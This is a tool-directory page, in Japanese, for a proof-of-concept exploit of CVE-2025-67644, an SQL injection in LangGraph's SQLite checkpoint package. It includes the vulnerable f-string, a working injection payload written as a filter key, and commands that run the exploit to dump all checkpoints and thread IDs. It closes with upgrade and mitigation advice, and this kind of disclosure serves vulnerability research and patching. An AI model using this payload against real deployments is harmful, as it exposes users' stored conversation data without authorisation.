Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-67644-LangGraph-3.0.1-SQLite-Checkpoint-SQL-Injection — CVE-2025-67644の概念実証エクスプロイト。LangGraph SQLite CheckpointのSQLインジェクション脆弱性。サニタイズされていないメタデータフィルターキーを介した任意のSQLインジェクションを実証し、データの外部送信とフィルターバイパスを可能にする。 | Kitploit
ツール/GitHubGitHub/mbanyamer/cve-2025-67644-langgraph-3.0.1-sqlite-checkpoint-sql-injection
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育データベースセキュリティ
GitHubmbanyamer/cve-2025-67644-langgraph-3.0.1-sqlite-checkpoint-sql-injection

CVE-2025-67644-LangGraph-3.0.1-SQLite-Checkpoint-SQL-Injection

CVE-2025-67644の概念実証エクスプロイト。LangGraph SQLite CheckpointのSQLインジェクション脆弱性。サニタイズされていないメタデータフィルターキーを介した任意のSQLインジェクションを実証し、データの外部送信とフィルターバイパスを可能にする。

リポジトリを見る
1107ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-67644 PoC – LangGraph SQLite Checkpoint SQLインジェクション

Author Role Country Platform Vulnerability CVE Status License

CVE-2025-67644 は、langgraph-checkpoint-sqlite パッケージ(LangGraph / LangChain エコシステムの一部)における SQLインジェクション 脆弱性(CWE-89)です。
攻撃者は、SqliteSaver の list() / alist() メソッドに渡されるサニタイズされていない メタデータフィルターキー を介して、任意の SQL を注入できます。

影響: フィルターの完全なバイパス、すべてのチェックポイントレコード(潜在的に機密性の高い会話状態、スレッドID、メタデータを含む)の漏洩、および一部のデプロイシナリオでは、より広範なデータベースアクセスが可能になります。

影響を受けるバージョン: < 3.0.1
修正バージョン: ≥ 3.0.1
CVSS スコア: 7.3 (High) — AV:L / AC:L / PR:L / UI:N / S:C / C:H / I:L / A:N

脆弱性の概要

内部の _metadata_predicate() ロジックは、JSON抽出式内でユーザー制御の辞書 キー を安全でない f-string 補間で使用していました:

f"json_extract(CAST(metadata AS TEXT), '$.{query_key}')"

任意のキーを提供できる攻撃者(例: API入力を介して)は、JSONパスを早期に閉じて、SQLフラグメントを注入できます。例:

{"env') OR '1'='1": "anything"}

→ その結果、常に true と評価される WHERE 句が生成され、すべての レコードが返されます。

攻撃フロー図

flowchart TD
    A["User / API Client"] -->|"Sends malicious filter dict"| B["Application using langgraph-checkpoint-sqlite"]
    B -->|"Passes filter=..."| C["SqliteSaver.list method"]
    C -->|"Unsafe key interpolation"| D["Metadata predicate logic"]
    D -->|"Builds injectable SQL"| E["SQLite Engine"]
    E -->|"Returns ALL checkpoints / sensitive data"| F[Attacker]
    F -->|"Data exfiltration / authorization bypass"| G["Impact achieved"]

(このバージョンでは、ノードテキスト内の括弧を可能な限り避け、特殊文字やドットを含むラベルには引用符を使用してパースエラーを防いでいます。)

この PoC の特徴

  • クリーンな同期型エクスプロイトデモ
  • データベースが空の場合、デモデータを自動的に作成
  • CLIオプション: --dump-all(全レコードを表示)、--threads-only(thread_ids のみを抽出)
  • 見栄えの良いASCIIバナー + 明確な出力フォーマット

必要条件

pip install langgraph-checkpoint-sqlite"<3.0.1"   # e.g. ==2.0.0

使用方法

# Basic check (count only)
python3 exploit.py checkpoints.db

# Dump full checkpoint details
python3 exploit.py checkpoints.db --dump-all

# Extract thread_ids only (useful for enumeration)
python3 exploit.py checkpoints.db --threads-only --dump-all

# Test against in-memory database (quick & volatile)
python3 exploit.py ":memory:" --dump-all

インストールとクイックスタート

  1. 脆弱なバージョンをインストール:

    pip install langgraph-checkpoint-sqlite==2.0.0
    
  2. エクスプロイトコードを exploit.py として保存

  3. 既存または新規のチェックポイントデータベースに対して実行:

    python3 exploit.py checkpoints.db --dump-all
    

修復 / 緩和策

  • 直ちにアップグレード:

    pip install --upgrade langgraph-checkpoint-sqlite
    

    (バージョン ≥ 3.0.1)

  • 信頼できないソース(ユーザー、API、JSONペイロードなど)からの任意のメタデータフィルターキーを 受け入れない でください

  • ≥ 3.0.1 では、ライブラリはキーに対して厳格な正規表現を適用します: ^[a-zA-Z0-9_.-]+$

法的通知

これは 教育およびセキュリティ研究目的のみ で公開された 概念実証(PoC) です。
明示的な書面による許可なしに、このコードを本番システムやいかなるターゲットに対しても 使用しない でください。
著者は、このコードによって引き起こされた誤用や損害について責任を負いません。

参考文献

  • GitHub Security Advisory GHSA-9rwj-6rc7-p77c
  • Fix Commit
  • NVD Entry – CVE-2025-67644

責任ある開示および研究目的のみ。
Mohammed Idrees Banyamer
@banyamer_security

ツールをダウンロード